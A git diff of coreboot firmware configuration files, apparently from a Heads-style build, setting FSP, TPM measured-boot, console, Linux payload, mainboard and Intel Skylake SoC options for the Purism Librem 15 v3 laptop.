+CONFIG_PLATFORM_USES_FSP2_X86_32=y +CONFIG_HAVE_INTEL_FSP_REPO=y +CONFIG_ADD_FSP_BINARIES=y +CONFIG_PLATFORM_USES_SECOND_FSP=y +CONFIG_FSP_T_LOCATION=0xfffe0000 +CONFIG_FSP_S_CBFS="fsps.bin" +CONFIG_FSP_M_CBFS="fspm.bin" +CONFIG_FSP_FULL_FD=y +CONFIG_FSP_S_CBFS_2="fsps_2.bin" +CONFIG_FSP_M_CBFS_2="fspm_2.bin" +CONFIG_FSP_M_FILE_2="$(obj)/Fsp_2_M.fd" +CONFIG_FSP_S_FILE_2="$(obj)/Fsp_2_S.fd" +CONFIG_FSP_T_RESERVED_SIZE=0x0 +CONFIG_FSP_M_XIP=y +CONFIG_FSP_USES_CB_STACK=y +CONFIG_HAVE_FSP_LOGO_SUPPORT=y +CONFIG_FSP_COMPRESS_FSP_S_LZMA=y +CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y +CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 +CONFIG_SOC_INTEL_COMMON_FSP_RESET=y +CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y +CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y +CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y +# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Skylake" +CONFIG_GFX_GMA_PCH="Cannon_Point" +CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +# CONFIG_DRIVERS_PS2_KEYBOARD is not set +CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_USB_ACPI=y +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +CONFIG_TPM1=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM1=y +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_INTEL_CBNT_SUPPORT is not set +CONFIG_BOOTMEDIA_LOCK_NONE=y +# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_CUSTOM_MADT=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_ACPI_LPIT=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_ACPI_S1_NOT_SUPPORTED=y +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_IOAPIC=y +CONFIG_ACPI_NHLT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# +# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set +# CONFIG_DISPLAY_FSP_HEADER is not set +# CONFIG_VERIFY_HOBS is not set +CONFIG_DISPLAY_FSP_VERSION_INFO=y +CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y +# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set + +# +# General Debug Settings +# +# CONFIG_FATAL_ASSERTS is not set +CONFIG_HAVE_DEBUG_GPIO=y +# CONFIG_DEBUG_GPIO is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y +CONFIG_SPD_READ_BY_WORD=y +CONFIG_SPD_CACHE_IN_FMAP=y +CONFIG_SPD_CACHE_FMAP_NAME="RW_SPD_CACHE" +CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xe0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_GENERIC_GPIO_LIB=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-librem_15v3.config b/config/coreboot-librem_15v3.config index d67db0e2a..9c14eb272 100644 --- a/config/coreboot-librem_15v3.config +++ b/config/coreboot-librem_15v3.config @@ -1,21 +1,797 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set CONFIG_VENDOR_PURISM=y +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_MAINBOARD_FAMILY="Librem 15" +CONFIG_MAINBOARD_PART_NUMBER="Librem 15 v3" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="purism/librem_skl" +CONFIG_VGA_BIOS_ID="8086,1916" +CONFIG_DIMM_MAX=1 +CONFIG_DIMM_SPD_SIZE=512 +CONFIG_FMDFILE="" +CONFIG_NO_POST=y +CONFIG_MAINBOARD_VENDOR="Purism" +CONFIG_CBFS_SIZE=0xe00000 CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=2160 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=3840 +CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_DUAL=y +CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_QUAD=y +CONFIG_MAX_CPUS=8 +# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VARIANT_DIR="librem15" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Purism" +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/data.vbt" +CONFIG_DISABLE_HECI1_AT_PRE_BOOT=y +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_TPM_PIRQ=0x0 +CONFIG_USE_PM_ACPI_TIMER=y +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xe0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfef00000 +CONFIG_DCACHE_RAM_SIZE=0x40000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_skl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_skl/me.bin" +CONFIG_MAINBOARD_SUPPORTS_SKYLAKE_CPU=y +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y +# CONFIG_USE_LEGACY_8254_TIMER is not set +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem 15 v3" +# CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_ENABLE is not set CONFIG_HAVE_IFD_BIN=y +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" +CONFIG_GFX_GMA_PANEL_1_PORT="eDP" +# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set +CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +CONFIG_PCIEXP_CLK_PM=y +CONFIG_GFX_GMA_PANEL_1_ON_EDP=y +# CONFIG_BOARD_PURISM_LIBREM13_V1 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM_MINI is not set +# CONFIG_BOARD_PURISM_LIBREM_MINI_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM_14 is not set +# CONFIG_BOARD_PURISM_LIBREM_11 is not set +# CONFIG_BOARD_PURISM_LIBREM_L1UM_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM13_V2 is not set CONFIG_BOARD_PURISM_LIBREM15_V3=y +# CONFIG_BOARD_PURISM_LIBREM13_V4 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V4 is not set +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_SKL=y +CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=16384 +CONFIG_ROM_SIZE=0x01000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set +CONFIG_POWER_STATE_ON_AFTER_FAILURE=y +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="soc/intel/skylake/chipset.cb" +CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" +CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x200000 +CONFIG_SMM_MODULE_STACK_SIZE=0x800 +CONFIG_ACPI_BERT_SIZE=0x0 +CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IFD_CHIPSET="sklkbl" +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_MAX_ROOT_PORTS=24 +CONFIG_PCR_BASE_ADDRESS=0xfd000000 +CONFIG_CPU_BCLK_MHZ=100 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 +CONFIG_CPU_XTAL_HZ=24000000 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=2 +CONFIG_SOC_INTEL_I2C_DEV_MAX=6 +# CONFIG_ENABLE_SATA_TEST_MODE is not set +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 +CONFIG_FSP_HEADER_PATH="3rdparty/fsp/KabylakeFspBinPkg/Include/" +CONFIG_FSP_FD_PATH="3rdparty/fsp/KabylakeFspBinPkg/Fsp.fd" +CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_MAX_HECI_DEVICES=5 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_HAVE_PAM0_REGISTER=y +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 +CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 +CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 +CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 +CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y +CONFIG_SOC_INTEL_SKYLAKE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y +CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_SOC_INTEL_COMMON=y + +# +# Intel SoC Common Code for IP blocks +# +CONFIG_SOC_INTEL_COMMON_BLOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y +CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y +# CONFIG_USE_COREBOOT_MP_INIT is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y +CONFIG_INTEL_CAR_NEM_ENHANCED=y +# CONFIG_USE_INTEL_FSP_MP_INIT is not set +CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y +CONFIG_HAVE_HYPERTHREADING=y +CONFIG_FSP_HYPERTHREADING=y +# CONFIG_INTEL_KEYLOCKER is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_MAX is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_256MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_128MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_64MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_32MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_16MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_8MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_4MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_2MB is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_0MB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PCR=y +CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" +CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" +CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" +CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" +CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" +CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" +CONFIG_SOC_INTEL_CSE_RW_FILE="" +CONFIG_SOC_INTEL_CSE_RW_VERSION="" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" +CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y +CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_PADCFG_PADTOL=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y +CONFIG_SOC_INTEL_CONFIGURE_DDI_A_4_LANES=y +# CONFIG_SOC_INTEL_DISABLE_IGD is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC_DISCOVERABLE=y +CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SCS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SGX=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_LOCK_MEMORY=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y +# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 +CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_SA_ENABLE_DPR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y 